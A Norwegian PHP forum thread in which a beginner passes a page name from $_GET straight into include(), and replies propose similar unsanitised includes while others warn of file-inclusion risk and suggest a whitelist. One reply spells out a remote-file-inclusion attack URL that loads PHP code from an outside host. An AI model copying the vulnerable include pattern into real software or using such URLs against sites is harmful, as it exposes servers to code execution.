Gå til innhold

Sende GET streng med include?


Anbefalte innlegg

Hei!

Her er da index.php filen

<? $Include = $_GET['side']; ?>
<table border="1" width="1000">
<tr>
	<!-- Venstre TD @ Start -->
	<td width="25%" valign="top">
		<? require_once("script/kategorier.php");?>
	</td>
	<!-- Venstre TD @ End -->
	<!-- Midt TD @ Start -->
	<td width="50%" valign="top">
		<? //require_once("script/siste_innlegg.php");?>
		<? include_once($Include);?>
	</td>
	<!-- Midt TD @ End -->
	<!-- Høyre TD @ Start -->
	<td width="25%" valign="top">Yay</td>
	<!-- Høyre TD @ End -->
</tr>
</table>

 

å her er slik jeg etter spør det ene scriptet mitt som bruker GET funksjonen for å motta data.

index.php?side=script/kategori_sok.php?kategori=Data

 

Index.php

script.MAPPE --> kategori_sok.php

 

mulig å gjøre d?

Lenke til kommentar
Videoannonse
Annonse

Jeg regner med at det ikke funker slik du har gjort det.

Her er en måte å gjøre det på.

<? 
$Include = $_GET['side']; 
$get = $_GET['get'];
?>
<table border="1" width="1000">
<tr>
	<!-- Venstre TD @ Start -->
	<td width="25%" valign="top">
		<? require_once("script/kategorier.php");?>
	</td>
	<!-- Venstre TD @ End -->
	<!-- Midt TD @ Start -->
	<td width="50%" valign="top">
		<? //require_once("script/siste_innlegg.php");?>
		<? include_once($Include."?".$get);?>
	</td>
	<!-- Midt TD @ End -->
	<!-- Høyre TD @ Start -->
	<td width="25%" valign="top">Yay</td>
	<!-- Høyre TD @ End -->
</tr>
</table>

Jeg tror det skal gå ann å skrive uten at det skaper problemer:

index.php?side=script/kategori_sok.php&get=kategori=Data

 

Men jeg må kommentere at koden ikke er så veldig sikker, folk kan inkludere hvilken som helst side på domene ditt. Du kan f.eks legge alle sidene som til tillater at inkludere i et array og legge til en in_array skjekk før du inkluderer.

Lenke til kommentar

For det første så vil ikkje include('side.php?noe') fungere slik som Rasks sin kode gjør.

For det andre så ser eg ingen problem med den koden (sånn bortsett fra at den er åpen for inkludering av alle filer på webhosten din) du allerede har, vist du skriver inn index.php?side=script/kategori_sok.php&get=kategori=Data så blir script/kategori_sok.php inkludert og i den fila så kan du hente ut get ved å bruke $_GET['get'] akkurat som du gjør i index.php

Endret av Runar0
Lenke til kommentar
<?php
// index.php
include $_GET['side'];
?>

<?php
// side.php
echo $_GET['text'];
?>

Vist du da går til index.php?side=side.php&tekst=Heisann! så vil index.php inkludere side.php og side.php vil skrive ut Heisann!

 

Huff.. du må ikke gi folk så usikker kode!!

 

Koden ovenfor inneholder et kjempestort sikkerhetshull og bør ikke benyttes.

For det første gir den muligheten til å inkludere enhver fil som brukeren(som webserveren kjører under) har tilgang til. Også utenfor webområdet på serveren.

 

For det andre så kan include også inkludere kode fra eksterne sider.

Eks include('http://www.eksternside.com/ondskapsfullkode.txt');

Dersom ondskapsfullkode.txt inneholder phpkode vil det bli kjørt og utført på serveren som inkluderer fila.

Dette kan enkelt utnyttes ved å manipulere URL

www.siden.com/index.php?side=http://www.eksternside.com/ondskapsfullkode.txt

 

Er vel sagt flere ganger her på forumet, men det kan ikke sies nok. Valider input!!

Ta en titt på følgende sider for mere informasjon om Code injection og hvordan du kan forhindre det.

Include File Injection

Code Injection Vulnerabilities Explained

Lenke til kommentar
<?php
// index.php
include $_GET['side'];
?>

<?php
// side.php
echo $_GET['text'];
?>

Vist du da går til index.php?side=side.php&tekst=Heisann! så vil index.php inkludere side.php og side.php vil skrive ut Heisann!

 

Huff.. du må ikke gi folk så usikker kode!!

 

Koden ovenfor inneholder et kjempestort sikkerhetshull og bør ikke benyttes.

For det første gir den muligheten til å inkludere enhver fil som brukeren(som webserveren kjører under) har tilgang til. Også utenfor webområdet på serveren.

 

For det andre så kan include også inkludere kode fra eksterne sider.

Eks include('http://www.eksternside.com/ondskapsfullkode.txt');

Dersom ondskapsfullkode.txt inneholder phpkode vil det bli kjørt og utført på serveren som inkluderer fila.

Dette kan enkelt utnyttes ved å manipulere URL

www.siden.com/index.php?side=http://www.eksternside.com/ondskapsfullkode.txt

 

Er vel sagt flere ganger her på forumet, men det kan ikke sies nok. Valider input!!

Ta en titt på følgende sider for mere informasjon om Code injection og hvordan du kan forhindre det.

Include File Injection

Code Injection Vulnerabilities Explained

 

 

Vist du leser litt opp så ser du at eg har kommentert sikkertheten sjølv, den koden der va eit 'proof-of-consept'

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...